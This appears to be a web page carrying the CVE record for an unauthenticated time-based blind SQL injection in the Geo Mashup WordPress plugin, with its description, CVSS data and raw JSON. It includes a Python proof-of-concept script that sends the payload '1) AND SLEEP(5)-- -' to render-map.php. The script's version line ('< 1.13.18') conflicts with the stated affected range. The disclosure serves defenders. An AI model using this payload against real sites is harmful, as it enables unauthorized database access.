Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-4062 CVSS 7.5 HIGH

CVE-2026-4062

Published: 2026-05-02 12:16:16
Last Modified: 2026-05-05 19:15:34

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'object_ids' and 'exclude_object_ids' parameters in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective because the values are placed in an unquoted `IN(...)` / `NOT IN(...)` SQL context β€” `esc_sql()` only escapes quote characters and provides no protection against parenthesis or SQL keyword injection. Additionally, while a numeric-only sanitizer exists in `sanitize_query_args()`, it is only applied in the AJAX code path and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Geo Mashup Plugin <= 1.13.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: WordPress Geo Mashup < 1.13.18 - SQL Injection (Unauthenticated) # Date: 2026-05-02 # CVE: CVE-2026-4062 import requests import time def check_sqli(url): # Target endpoint based on the vulnerability description target = f"{url}/wp-content/plugins/geo-mashup/render-map.php" # Payload to exploit time-based blind SQL injection in 'object_ids' parameter # The payload closes the parenthesis in IN(...) and injects a SLEEP command payload = { "object_ids": "1) AND SLEEP(5)-- -", "map_content": "global" } try: print(f"[+] Sending request to {target}...") start_time = time.time() response = requests.get(target, params=payload, timeout=10) end_time = time.time() elapsed_time = end_time - start_time # If response takes longer than 5 seconds, the sleep executed, indicating vulnerability if elapsed_time >= 5: print(f"[+] Vulnerability Confirmed! Response time: {elapsed_time:.2f}s") print("[+] The application is vulnerable to CVE-2026-4062.") else: print(f"[-] Vulnerability not detected. Response time: {elapsed_time:.2f}s") print("[-] The payload did not trigger a delay, patch may be applied.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://example.com" check_sqli(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4062", "sourceIdentifier": "[email protected]", "published": "2026-05-02T12:16:16.337", "lastModified": "2026-05-05T19:15:34.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'object_ids' and 'exclude_object_ids' parameters in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective because the values are placed in an unquoted `IN(...)` / `NOT IN(...)` SQL context β€” `esc_sql()` only escapes quote characters and provides no protection against parenthesis or SQL keyword injection. Additionally, while a numeric-only sanitizer exists in `sanitize_query_args()`, it is only applied in the AJAX code path and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1755", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1759", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/render-map.php#L166", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3503627/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/abc5ed0a-504f-4d8c-9662-a4c9f7c7acb8?source=cve", "source": "[email protected]"}]}}